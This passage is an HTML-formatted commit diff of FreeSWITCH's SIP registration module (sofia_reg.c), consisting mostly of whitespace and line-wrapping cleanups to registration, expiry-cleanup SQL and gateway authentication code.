</span><span class="cx">         const char *event = "check-sync";
</span><span class="cx">         const char *contenttype = "application/simple-message-summary";
</span><span class="lines">@@ -487,7 +470,7 @@
</span><span class="cx">         if ((nh = nua_handle_by_call_id(profile->nua, argv[0]))) {
</span><span class="cx">                 nua_handle_destroy(nh);
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         return 0;
</span><span class="cx"> }
</span><span class="cx">
</span><span class="lines">@@ -495,7 +478,7 @@
</span><span class="cx"> {
</span><span class="cx">         switch_event_t *s_event;
</span><span class="cx">         sofia_profile_t *profile = (sofia_profile_t *) pArg;
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (argc > 12 && atoi(argv[12]) == 1) {
</span><span class="cx">                 sofia_reg_send_reboot(profile, argv[1], argv[2], argv[3], argv[7], argv[11]);
</span><span class="cx">         }
</span><span class="lines">@@ -561,18 +544,16 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         sql = switch_mprintf("select call_id,sip_user,sip_host,contact,status,rpid,expires"
</span><del>-                                        ",user_agent,server_user,server_host,profile_name,network_ip"
-                                        ",%d from sip_registrations where call_id='%q' %s",
-                                        reboot, call_id, sqlextra);
</del><ins>+                                                 ",user_agent,server_user,server_host,profile_name,network_ip"
+                                                 ",%d from sip_registrations where call_id='%q' %s", reboot, call_id, sqlextra);
</ins><span class="cx">         switch_safe_free(sqlextra);
</span><del>-        
</del><ins>+
</ins><span class="cx">         switch_mutex_lock(profile->ireg_mutex);
</span><span class="cx">         sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_del_callback, profile);
</span><span class="cx">         switch_mutex_unlock(profile->ireg_mutex);
</span><span class="cx">         switch_safe_free(sql);
</span><del>-        
-        sql = switch_mprintf("delete from sip_registrations where call_id='%q' or (sip_user='%q' and sip_host='%q')",
-                                        call_id, user, host);
</del><ins>+
+        sql = switch_mprintf("delete from sip_registrations where call_id='%q' or (sip_user='%q' and sip_host='%q')", call_id, user, host);
</ins><span class="cx">         sofia_glue_execute_sql(profile, &sql, SWITCH_FALSE);
</span><span class="cx">
</span><span class="cx">         switch_safe_free(sql);
</span><span class="lines">@@ -592,13 +573,12 @@
</span><span class="cx">                                                 ",%d from sip_registrations where expires > 0 and expires <= %ld", reboot, (long) now);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), "select call_id,sip_user,sip_host,contact,status,rpid,expires"
</span><del>-                                                ",user_agent,server_user,server_host,profile_name,network_ip"
-                                                ",%d from sip_registrations where expires > 0", reboot);
</del><ins>+                                                ",user_agent,server_user,server_host,profile_name,network_ip" ",%d from sip_registrations where expires > 0", reboot);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_reg_del_callback, profile);
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and expires <= %ld and hostname='%s'",
</del><ins>+                switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and expires <= %ld and hostname='%s'",
</ins><span class="cx">                                                 (long) now, mod_sofia_globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
</span><span class="lines">@@ -610,11 +590,10 @@
</span><span class="cx">
</span><span class="cx">         if (now) {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), "select call_id from sip_shared_appearance_dialogs where hostname='%s' "
</span><del>-                                                "and profile_name='%s' and expires <= %ld",
-                                                mod_sofia_globals.hostname, profile->name, (long) now);
-        
</del><ins>+                                                "and profile_name='%s' and expires <= %ld", mod_sofia_globals.hostname, profile->name, (long) now);
+
</ins><span class="cx">                 sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_sla_dialog_del_callback, profile);
</span><del>-                switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s' and expires <= %ld",
</del><ins>+                switch_snprintf(sql, sizeof(sql), "delete from sip_registrations where expires > 0 and hostname='%s' and expires <= %ld",
</ins><span class="cx">                                                 mod_sofia_globals.hostname, (long) now);
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -623,7 +602,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and expires <= %ld and hostname='%s'",
</del><ins>+                switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and expires <= %ld and hostname='%s'",
</ins><span class="cx">                                                 (long) now, mod_sofia_globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), "delete from sip_presence where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
</span><span class="lines">@@ -632,7 +611,7 @@
</span><span class="cx">         sofia_glue_actually_execute_sql(profile, sql, NULL);
</span><span class="cx">
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and expires <= %ld and hostname='%s'",
</del><ins>+                switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and expires <= %ld and hostname='%s'",
</ins><span class="cx">                                                 (long) now, mod_sofia_globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), "delete from sip_authentication where expires > 0 and hostname='%s'", mod_sofia_globals.hostname);
</span><span class="lines">@@ -643,17 +622,17 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
-                                                (long) now, mod_sofia_globals.hostname);
-        } else {
-                switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where expires >= -1 and hostname='%s'",
</del><ins>+                switch_snprintf(sql, sizeof(sql),
+                                                "select call_id from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'", (long) now,
</ins><span class="cx">                                                 mod_sofia_globals.hostname);
</span><ins>+        } else {
+                switch_snprintf(sql, sizeof(sql), "select call_id from sip_subscriptions where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         sofia_glue_execute_sql_callback(profile, NULL, sql, sofia_sub_del_callback, profile);
</span><span class="cx">
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
</del><ins>+                switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
</ins><span class="cx">                                                 (long) now, mod_sofia_globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), "delete from sip_subscriptions where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
</span><span class="lines">@@ -663,7 +642,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         if (now) {
</span><del>-                switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
</del><ins>+                switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where (expires = -1 or (expires > 0 and expires <= %ld)) and hostname='%s'",
</ins><span class="cx">                                                 (long) now, mod_sofia_globals.hostname);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), "delete from sip_dialogs where expires >= -1 and hostname='%s'", mod_sofia_globals.hostname);
</span><span class="lines">@@ -699,8 +678,8 @@
</span><span class="cx">         cbt.len = len;
</span><span class="cx">
</span><span class="cx">         if (host) {
</span><del>-                switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s' and (sip_host='%s' or presence_hosts like '%%%s%%')"
-                                                , user, host, host);
</del><ins>+                switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s' and (sip_host='%s' or presence_hosts like '%%%s%%')",
+                                                user, host, host);
</ins><span class="cx">         } else {
</span><span class="cx">                 switch_snprintf(sql, sizeof(sql), "select contact from sip_registrations where sip_user='%s'", user);
</span><span class="cx">         }
</span><span class="lines">@@ -727,8 +706,8 @@
</span><span class="cx">         switch_uuid_format(uuid_str, &uuid);
</span><span class="cx">
</span><span class="cx">         sql = switch_mprintf("insert into sip_authentication (nonce,expires,profile_name,hostname, last_nc) "
</span><del>-                                                 "values('%q', %ld, '%q', '%q', 0)", uuid_str,
-                                                 switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : DEFAULT_NONCE_TTL),
</del><ins>+                                                 "values('%q', %ld, '%q', '%q', 0)", uuid_str,
+                                                 switch_epoch_time_now(NULL) + (profile->nonce_ttl ? profile->nonce_ttl : DEFAULT_NONCE_TTL),
</ins><span class="cx">                                                  profile->name, mod_sofia_globals.hostname);
</span><span class="cx">         switch_assert(sql != NULL);
</span><span class="cx">         sofia_glue_actually_execute_sql(profile, sql, profile->ireg_mutex);
</span><span class="lines">@@ -791,7 +770,7 @@
</span><span class="cx">         /* all callers must confirm that sip, sip->sip_request and sip->sip_contact are not NULL */
</span><span class="cx">         switch_assert(sip != NULL && sip->sip_contact != NULL && sip->sip_request != NULL);
</span><span class="cx">
</span><del>-        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</del><ins>+        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</ins><span class="cx">
</span><span class="cx">         snprintf(network_port_c, sizeof(network_port_c), "%d", network_port);
</span><span class="cx">
</span><span class="lines">@@ -807,14 +786,16 @@
</span><span class="cx">                 from_user = from->a_url->url_user;
</span><span class="cx">                 from_host = from->a_url->url_host;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (to) {
</span><span class="cx">                 to_user = to->a_url->url_user;
</span><span class="cx">                 to_host = to->a_url->url_host;
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        if (!to_user) to_user = from_user;
-        if (!to_host) to_host = from_host;
</del><ins>+        if (!to_user)
+                to_user = from_user;
+        if (!to_host)
+                to_host = from_host;
</ins><span class="cx">
</span><span class="cx">         if (!to_user || !to_host) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "Can not do authorization without a complete header\n");
</span><span class="lines">@@ -839,18 +820,18 @@
</span><span class="cx">                 if (switch_stristr("transport=tls", sip->sip_contact->m_url->url_params)) {
</span><span class="cx">                         is_tls += 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (sip->sip_contact->m_url->url_type == url_sips) {
</span><span class="cx">                         proto = "sips";
</span><span class="cx">                         is_tls += 2;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_stristr("transport=tcp", sip->sip_contact->m_url->url_params)) {
</span><span class="cx">                         is_tcp = 1;
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 display = contact->m_display;
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (is_nat) {
</span><span class="cx">                         if (is_tls) {
</span><span class="cx">                                 reg_desc = "Registered(TLS-NAT)";
</span><span class="lines">@@ -890,7 +871,7 @@
</span><span class="cx">                 } else if (is_nat) {
</span><span class="cx">                         char my_contact_str[1024];
</span><span class="cx">                         if (sip->sip_contact->m_url->url_params) {
</span><del>-                                switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d;%s",
</del><ins>+                                switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d;%s",
</ins><span class="cx">                                                                 contact->m_url->url_user, url_ip, network_port, sip->sip_contact->m_url->url_params);
</span><span class="cx">                         } else {
</span><span class="cx">                                 switch_snprintf(my_contact_str, sizeof(my_contact_str), "sip:%s@%s:%d", contact->m_url->url_user, url_ip, network_port);
</span><span class="lines">@@ -914,7 +895,7 @@
</span><span class="cx">
</span><span class="cx">                 if (contact->m_url->url_params) {
</span><span class="cx">                         switch_snprintf(contact_str, sizeof(contact_str), "%s <%s:%s@%s%s;%s%s%s%s>",
</span><del>-                                                        display, proto, contact->m_url->url_user, contact_host, new_port,
</del><ins>+                                                        display, proto, contact->m_url->url_user, contact_host, new_port,
</ins><span class="cx">                                                         contact->m_url->url_params, received_data, is_nat ? ";fs_nat=yes" : "", path_encoded ? path_encoded : "");
</span><span class="cx">                 } else {
</span><span class="cx">                         switch_snprintf(contact_str, sizeof(contact_str), "%s <%s:%s@%s%s%s%s%s>", display, proto, contact->m_url->url_user, contact_host, new_port,
</span><span class="lines">@@ -953,7 +934,7 @@
</span><span class="cx">                         char *allow_multireg = NULL;
</span><span class="cx">
</span><span class="cx">                         allow_multireg = switch_event_get_header(*v_event, "sip-allow-multiple-registrations");
</span><del>-                        if ( allow_multireg && switch_false(allow_multireg) ) {
</del><ins>+                        if (allow_multireg && switch_false(allow_multireg)) {
</ins><span class="cx">                                 avoid_multi_reg = 1;
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="lines">@@ -987,7 +968,7 @@
</span><span class="cx">                                         if (*received_data && sofia_test_pflag(profile, PFLAG_RECIEVED_IN_NAT_REG_CONTACT)) {
</span><span class="cx">                                                 switch_snprintf(received_data, sizeof(received_data), ";received=%s:%d", url_ip, network_port);
</span><span class="cx">                                         }
</span><del>-        
</del><ins>+
</ins><span class="cx">                                         if (!strcasecmp(v_contact_str, "nat-connectile-dysfunction") ||
</span><span class="cx">                                                 !strcasecmp(v_contact_str, "NDLB-connectile-dysfunction") || !strcasecmp(v_contact_str, "NDLB-tls-connectile-dysfunction")) {
</span><span class="cx">                                                 if (contact->m_url->url_params) {
</span><span class="lines">@@ -1030,7 +1011,7 @@
</span><span class="cx">                         }
</span><span class="cx">                         if (auth_res == AUTH_FORBIDDEN) {
</span><span class="cx">                                 nua_respond(nh, SIP_403_FORBIDDEN, NUTAG_WITH_THIS(nua), TAG_END());
</span><del>-                                
</del><ins>+
</ins><span class="cx">                                 /* Log line added to support Fail2Ban */
</span><span class="cx">                                 if (sofia_test_pflag(profile, PFLAG_LOG_AUTH_FAIL)) {
</span><span class="cx">                                         if (regtype == REG_REGISTER) {
</span><span class="lines">@@ -1039,7 +1020,7 @@
</span><span class="cx">                                         } else if (regtype == REG_INVITE) {
</span><span class="cx">                                                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_WARNING, "SIP auth failure (INVITE) on sofia profile '%s' "
</span><span class="cx">                                                                                  "for [%s@%s] from ip %s\n", profile->name, to_user, to_host, network_ip);
</span><del>-                                        }                                                                        
</del><ins>+                                        }
</ins><span class="cx">                                 }
</span><span class="cx">                         } else {
</span><span class="cx">                                 nua_respond(nh, SIP_401_UNAUTHORIZED, NUTAG_WITH_THIS(nua), TAG_END());
</span><span class="lines">@@ -1095,13 +1076,12 @@
</span><span class="cx">         switch_assert(call_id);
</span><span class="cx">
</span><span class="cx">         /* Does this profile supports multiple registrations ? */
</span><del>-        multi_reg = ( sofia_test_pflag(profile, PFLAG_MULTIREG) ) ? 1 : 0;
-        multi_reg_contact = ( sofia_test_pflag(profile, PFLAG_MULTIREG_CONTACT) ) ? 1 : 0;
</del><ins>+        multi_reg = (sofia_test_pflag(profile, PFLAG_MULTIREG)) ? 1 : 0;
+        multi_reg_contact = (sofia_test_pflag(profile, PFLAG_MULTIREG_CONTACT)) ? 1 : 0;
</ins><span class="cx">
</span><del>-        if ( multi_reg && avoid_multi_reg ) {
-                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
-                                        "Disabling multiple registrations on a per-user basis for %s@%s\n",
-                                        switch_str_nil(to_user), switch_str_nil(to_host) );
</del><ins>+        if (multi_reg && avoid_multi_reg) {
+                switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG,
+                                                 "Disabling multiple registrations on a per-user basis for %s@%s\n", switch_str_nil(to_user), switch_str_nil(to_host));
</ins><span class="cx">                 multi_reg = 0;
</span><span class="cx">         }
</span><span class="cx">
</span><span class="lines">@@ -1122,13 +1102,13 @@
</span><span class="cx">
</span><span class="cx">                 if (multi_reg) {
</span><span class="cx">                         if (multi_reg_contact) {
</span><del>-                                sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
</del><ins>+                                sql =
+                                        switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sql = switch_mprintf("delete from sip_registrations where call_id='%q'", call_id);
</span><span class="cx">                         }
</span><span class="cx">                 } else {
</span><del>-                        sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q'",
-                                                                 to_user, reg_host);
</del><ins>+                        sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q'", to_user, reg_host);
</ins><span class="cx">                 }
</span><span class="cx">                 switch_mutex_lock(profile->ireg_mutex);
</span><span class="cx">                 sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
</span><span class="lines">@@ -1177,7 +1157,6 @@
</span><span class="cx">                                                          "Register:\nFrom: [%s@%s]\nContact: [%s]\nExpires: [%ld]\n", to_user, reg_host, contact_str, (long) exptime);
</span><span class="cx">                 }
</span><span class="cx">
</span><del>-                
</del><span class="cx"> #if 0
</span><span class="cx">                 if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_IN) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", SOFIA_CHAT_PROTO);
</span><span class="lines">@@ -1192,7 +1171,7 @@
</span><span class="cx">                 }
</span><span class="cx"> #else
</span><span class="cx">
</span><del>-                if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
</del><ins>+                if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
</ins><span class="cx">                         (reg_count == 1 && sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_FIRST_REGISTER))) {
</span><span class="cx">
</span><span class="cx">                         if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_PROBE) == SWITCH_STATUS_SUCCESS) {
</span><span class="lines">@@ -1211,7 +1190,7 @@
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">         } else {
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (switch_event_create(&event, SWITCH_EVENT_PRESENCE_OUT) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "proto", SOFIA_CHAT_PROTO);
</span><span class="cx">                         switch_event_add_header_string(event, SWITCH_STACK_BOTTOM, "rpid", rpid);
</span><span class="lines">@@ -1247,7 +1226,8 @@
</span><span class="cx">                         }
</span><span class="cx">
</span><span class="cx">                         if (multi_reg_contact) {
</span><del>-                                sql = switch_mprintf("delete from sip_subscriptions where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
</del><ins>+                                sql =
+                                        switch_mprintf("delete from sip_subscriptions where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sql = switch_mprintf("delete from sip_subscriptions where call_id='%q'", call_id);
</span><span class="cx">                         }
</span><span class="lines">@@ -1255,7 +1235,8 @@
</span><span class="cx">                         sofia_glue_execute_sql(profile, &sql, SWITCH_TRUE);
</span><span class="cx">
</span><span class="cx">                         if (multi_reg_contact) {
</span><del>-                                sql = switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
</del><ins>+                                sql =
+                                        switch_mprintf("delete from sip_registrations where sip_user='%q' and sip_host='%q' and contact='%q'", to_user, reg_host, contact_str);
</ins><span class="cx">                         } else {
</span><span class="cx">                                 sql = switch_mprintf("delete from sip_registrations where call_id='%q'", call_id);
</span><span class="cx">                         }
</span><span class="lines">@@ -1284,8 +1265,8 @@
</span><span class="cx">                 if (exptime) {
</span><span class="cx">                         switch_snprintf(exp_param, sizeof(exp_param), "expires=%ld", exptime);
</span><span class="cx">                         sip_contact_add_param(nua_handle_home(nh), sip->sip_contact, exp_param);
</span><del>-                        
-                        if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
</del><ins>+
+                        if (sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_REGISTER) ||
</ins><span class="cx">                                 (reg_count == 1 && sofia_test_pflag(profile, PFLAG_MESSAGE_QUERY_ON_FIRST_REGISTER))) {
</span><span class="cx">                                 if (switch_event_create(&s_event, SWITCH_EVENT_MESSAGE_QUERY) == SWITCH_STATUS_SUCCESS) {
</span><span class="cx">                                         switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "Message-Account", "sip:%s@%s", mwi_user, mwi_host);
</span><span class="lines">@@ -1304,18 +1285,15 @@
</span><span class="cx">                                 switch_event_add_header(s_event, SWITCH_STACK_BOTTOM, "expires", "%ld", (long) exptime);
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 switch_rfc822_date(date, switch_micro_time_now());
</span><span class="cx">                 nua_respond(nh, SIP_200_OK, SIPTAG_CONTACT(sip->sip_contact),
</span><del>-                                        TAG_IF(path_val, SIPTAG_PATH_STR(path_val)),
-                                        NUTAG_WITH_THIS(nua),
-                                        SIPTAG_DATE_STR(date),
-                                        TAG_END());
</del><ins>+                                        TAG_IF(path_val, SIPTAG_PATH_STR(path_val)), NUTAG_WITH_THIS(nua), SIPTAG_DATE_STR(date), TAG_END());
</ins><span class="cx">
</span><span class="cx">                 if (s_event) {
</span><span class="cx">                         switch_event_fire(&s_event);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (*contact_str && sofia_test_pflag(profile, PFLAG_MANAGE_SHARED_APPEARANCE_SYLANTRO)) {
</span><span class="cx">                         sofia_sla_handle_register(nua, profile, sip, exptime, contact_str);
</span><span class="cx">                 }
</span><span class="lines">@@ -1324,14 +1302,14 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">
</span><del>- end:
</del><ins>+ end:
</ins><span class="cx">         switch_safe_free(dup_mwi_account);
</span><span class="cx">
</span><span class="cx">         if (auth_params) {
</span><span class="cx">                 switch_event_destroy(&auth_params);
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        return (uint8_t)r;
</del><ins>+        return (uint8_t) r;
</ins><span class="cx"> }
</span><span class="cx">
</span><span class="cx">
</span><span class="lines">@@ -1346,7 +1324,7 @@
</span><span class="cx">         int network_port = 0;
</span><span class="cx">         char *is_nat = NULL;
</span><span class="cx">
</span><del>-        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</del><ins>+        sofia_glue_get_addr(nua_current_request(nua), network_ip, sizeof(network_ip), &network_port);
</ins><span class="cx">
</span><span class="cx">         if (!(sip->sip_contact && sip->sip_contact->m_url)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "NO CONTACT!\n");
</span><span class="lines">@@ -1363,7 +1341,7 @@
</span><span class="cx">                 if (sip && sip->sip_via) {
</span><span class="cx">                         const char *port = sip->sip_via->v_port;
</span><span class="cx">                         const char *host = sip->sip_via->v_host;
</span><del>-                                        
</del><ins>+
</ins><span class="cx">                         if (host && sip->sip_via->v_received) {
</span><span class="cx">                                 is_nat = "via received";
</span><span class="cx">                         } else if (host && strcmp(network_ip, host)) {
</span><span class="lines">@@ -1391,13 +1369,13 @@
</span><span class="cx">                                         break;
</span><span class="cx">                                 }
</span><span class="cx">                         }
</span><del>-                                
</del><ins>+
</ins><span class="cx">                         if (ok) {
</span><span class="cx">                                 is_nat = last_acl;
</span><span class="cx">                         }
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-                        
</del><ins>+
</ins><span class="cx">         if (profile->reg_acl_count) {
</span><span class="cx">                 uint32_t x = 0;
</span><span class="cx">                 int ok = 1;
</span><span class="lines">@@ -1424,7 +1402,7 @@
</span><span class="cx">                 nua_respond(nh, SIP_500_INTERNAL_SERVER_ERROR, TAG_END());
</span><span class="cx">                 goto end;
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (is_nat && profile->local_network && switch_check_network_list_ip(network_ip, profile->local_network)) {
</span><span class="cx">                 if (profile->debug) {
</span><span class="cx">                         switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_DEBUG, "IP %s is on local network, not seting NAT mode.\n", network_ip);
</span><span class="lines">@@ -1433,7 +1411,7 @@
</span><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         sofia_reg_handle_register(nua, profile, nh, sip, type, key, sizeof(key), &v_event, is_nat);
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (v_event) {
</span><span class="cx">                 switch_event_destroy(&v_event);
</span><span class="cx">         }
</span><span class="lines">@@ -1458,7 +1436,7 @@
</span><span class="cx">                         nua_handle_destroy(nh);
</span><span class="cx">                 }
</span><span class="cx">         }
</span><del>-        
</del><ins>+
</ins><span class="cx">         if (sofia_private && sofia_private->gateway) {
</span><span class="cx">                 reg_state_t ostate = sofia_private->gateway->state;
</span><span class="cx">                 switch (status) {
</span><span class="lines">@@ -1468,8 +1446,8 @@
</span><span class="cx">                                 const char *new_expires;
</span><span class="cx">                                 uint32_t expi;
</span><span class="cx">                                 if (contact->m_next) {
</span><del>-                                        const char *sipip = profile->extsipip ? profile->extsipip : profile->sipip;
-                                        for ( ; contact && strcasecmp(contact->m_url->url_host, sipip); contact = contact->m_next);
</del><ins>+                                        const char *sipip = profile->extsipip ? profile->extsipip : profile->sipip;
+                                        for (; contact && strcasecmp(contact->m_url->url_host, sipip); contact = contact->m_next);
</ins><span class="cx">                                 }
</span><span class="cx">
</span><span class="cx">                                 if (!contact) {
</span><span class="lines">@@ -1479,7 +1457,7 @@
</span><span class="cx">                                 if (contact->m_expires) {
</span><span class="cx">                                         new_expires = contact->m_expires;
</span><span class="cx">                                         expi = (uint32_t) atoi(new_expires);
</span><del>-        
</del><ins>+
</ins><span class="cx">                                         if (expi > 0 && expi != sofia_private->gateway->freq) {
</span><span class="cx">                                                 sofia_private->gateway->freq = expi;
</span><span class="cx">                                                 sofia_private->gateway->expires_str = switch_core_sprintf(sofia_private->gateway->pool, "%d", expi);
</span><span class="lines">@@ -1503,7 +1481,7 @@
</span><span class="cx">                 default:
</span><span class="cx">                         sofia_private->gateway->state = REG_STATE_FAILED;
</span><span class="cx">                         sofia_private->gateway->failure_status = status;
</span><del>-                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s Registration Failed with status %s [%d]. failure #%d\n",
</del><ins>+                        switch_log_printf(SWITCH_CHANNEL_LOG, SWITCH_LOG_ERROR, "%s Registration Failed with status %s [%d]. failure #%d\n",
</ins><span class="cx">                                                          sofia_private->gateway->name, switch_str_nil(phrase), status, ++sofia_private->gateway->failures);
</span><span class="cx">                         break;
</span><span class="cx">                 }
</span><span class="lines">@@ -1572,14 +1550,14 @@
</span><span class="cx">
</span><span class="cx">         if (!gateway) {
</span><span class="cx">                 if (gw_name) {
</span><del>-                        var_gateway = sofia_reg_find_gateway((char *)gw_name);
</del><ins>+                        var_gateway = sofia_reg_find_gateway((char *) gw_name);
</ins><span class="cx">                 }
</span><span class="cx">
</span><span class="cx">
</span><span class="cx">                 if (!var_gateway && realm) {
</span><span class="cx">                         char rb[512] = "";
</span><span class="cx">                         char *p = (char *) realm;
</span><del>-                        while((*p == '"')) {
</del><ins>+                        while ((*p == '"')) {
</ins><span class="cx">                                 p++;
</span><span class="cx">                         }
</span><span class="cx">                         switch_set_string(rb, p);
</span><span class="lines">@@ -1594,15 +1572,15 @@
</span><span class="cx">                 if (!var_gateway && sip && sip->sip_to) {
</span><span class="cx">                         var_gateway = sofia_reg_find_gateway(sip->sip_to->a_url->url_host);
</span><span class="cx">                 }
</span><del>-                
</del><ins>+
</ins><span class="cx">                 if (var_gateway) {
</span><span class="cx">                         gateway = var_gateway;
</span><span class="cx">                 }
</span><span class="cx">         }
</span><span class="cx">
</span><del>-        
</del><span class="cx">
</span><span class="cx">
</span><ins>+
</ins><span class="cx">         if (!(scheme && realm)) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No scheme and realm!\n");
</span><span class="cx">                 goto end;
</span><span class="lines">@@ -1614,12 +1592,12 @@
</span><span class="cx">                 switch_snprintf(authentication, sizeof(authentication), "%s:%s:%s:%s", scheme, realm, gateway->auth_username, gateway->register_password);
</span><span class="cx">         } else {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_ERROR, "No Matching gateway found\n");
</span><del>-                goto cancel;                
</del><ins>+                goto cancel;
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         if (profile->debug) {
</span><span class="cx">                 switch_log_printf(SWITCH_CHANNEL_SESSION_LOG(session), SWITCH_LOG_DEBUG, "Authenticating '%s' with '%s'.\n",
</span><del>-                        (sip_auth_username && sip_auth_password) ? sip_auth_username : gateway->auth_username, authentication);
</del><ins>+                                                 (sip_auth_username && sip_auth_password) ? sip_auth_username : gateway->auth_username, authentication);
</ins><span class="cx">         }
</span><span class="cx">
</span><span class="cx">         ss_state = nua_callstate_authenticating;
